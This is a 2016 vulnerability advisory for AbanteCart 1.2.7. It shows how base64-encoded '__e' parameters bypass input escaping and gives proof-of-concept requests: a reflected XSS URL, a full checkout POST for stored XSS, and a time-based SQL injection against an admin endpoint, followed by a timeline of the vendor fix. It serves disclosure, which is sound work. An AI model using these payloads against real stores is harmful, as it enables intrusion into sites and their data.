06-12-2016 / Vulnerabilities

AbanteCart 1.2.7 Stored XSS and SQL Injection

By default all user input is escaped using htmlspecialchars so it's impossible to get XSS.

File: core\lib\request.php

public function __construct() {
	$_GET = $this->clean($_GET);
	$_POST = $this->clean($_POST);
	$_COOKIE = $this->clean($_COOKIE);
	$_FILES = $this->clean($_FILES);
	$_SERVER = $this->clean($_SERVER);
	$this->get = $_GET;
	$this->post = $_POST;
	$this->cookie = $_COOKIE;
	$this->files = $_FILES;
	$this->server = $_SERVER;
	//check if there is any encrypted data
	if ( has_value($this->get['__e'])) {
		$this->get = array_replace_recursive($this->get, $this->decodeURI($this->get['__e'])); 
	}
	if ( has_value($this->post['__e'])) {
		$this->post = array_replace_recursive($this->post, $this->decodeURI($this->post['__e'])); 
	}
    $this->_detectBrowser();
}
public function clean($data) {
	if (is_array($data)) {
  		foreach ($data as $key => $value) {
			unset($data[$key]);
    		$data[$this->clean($key)] = $this->clean($value);
  		}
	} else { 
  		$data = htmlspecialchars($data, ENT_COMPAT, 'UTF-8');
	}
	return $data;
}

But we can pass __e value which is base64 encoded and unfortunatelly those datas are not cleaned.

File: admin\controller\responses\product\product.php

public function decodeURI($uri) {
	$parms = array();
	$open_uri = base64_decode($uri);
	$split_parameters = explode('&', $open_uri);
	for($i = 0; $i < count($split_parameters); $i++) {
    	$final_split = explode('=', $split_parameters[$i]);
    	$parms[$final_split[0]] = $final_split[1];
	}	
	return $parms;	
} 

So we know method for omit XSS filter.

For example address_1="><script>alert(2);</script>& can be encoded as: __e=YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m

Also it seems that subsql_filter inside admin panel are not properly escaped, for example:

File: core\lib\request.php

if($this->request->post['id']){
	$downloads = $this->model_catalog_download->getDownloads(array('subsql_filter' => ' shared = 1 AND d.download_id IN (' . implode(',', $this->request->post['id']) . ')'));
}

Proof of Concept

Example reflected XSS:

http://url/index.php?rt=product/category&path=68_69&__e=c29ydD0iPjxzY3JpcHQ%2BYWxlcnQoMSk7PC9zY3JpcHQ%2BLURFU0Mm

For stored XSS create new order and set address_1 as __e using for example Burp.

POST /index.php?rt=checkout/guest_step_1 HTTP/1.1
Host: url
Content-Length: 1857
Cache-Control: max-age=0
Accept: text/html
Origin: http://url
Content-Type: multipart/form-data; boundary=--------1738959474
Accept-Encoding: gzip, deflate
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close
----------1738959474
Content-Disposition: form-data; name="firstname"
aaa
----------1738959474
Content-Disposition: form-data; name="lastname"
aaa
----------1738959474
Content-Disposition: form-data; name="email"
example@example.com
----------1738959474
Content-Disposition: form-data; name="telephone"
aaa
----------1738959474
Content-Disposition: form-data; name="fax"
aaa
----------1738959474
Content-Disposition: form-data; name="company"
aaa
----------1738959474
Content-Disposition: form-data; name="address_1"
----------1738959474
Content-Disposition: form-data; name="address_2"
----------1738959474
Content-Disposition: form-data; name="city"
aaa
----------1738959474
Content-Disposition: form-data; name="zone_id"
3613
----------1738959474
Content-Disposition: form-data; name="postcode"
aaa
----------1738959474
Content-Disposition: form-data; name="country_id"
223
----------1738959474
Content-Disposition: form-data; name="shipping_firstname"
----------1738959474
Content-Disposition: form-data; name="shipping_lastname"
----------1738959474
Content-Disposition: form-data; name="shipping_company"
----------1738959474
Content-Disposition: form-data; name="shipping_address_1"
----------1738959474
Content-Disposition: form-data; name="shipping_address_2"
----------1738959474
Content-Disposition: form-data; name="shipping_city"
----------1738959474
Content-Disposition: form-data; name="shipping_zone_id"
FALSE
----------1738959474
Content-Disposition: form-data; name="shipping_postcode"
----------1738959474
Content-Disposition: form-data; name="shipping_country_id"
223
----------1738959474
Content-Disposition: form-data; name="__e"
YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m
----------1738959474--

For SQL Injection:

POST /index.php?rt=product/product/downloads&s=admin&token=%token% HTTP/1.1
Host: url
Accept: text/html
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
id[]=0)%20or%20SLEEP(5)%20--%20a

Timeline

  • 11-06-2016: Discovered
  • 11-06-2016: Vendor notified
  • 13-08-2016: Version 1.2.8 released, issue resolved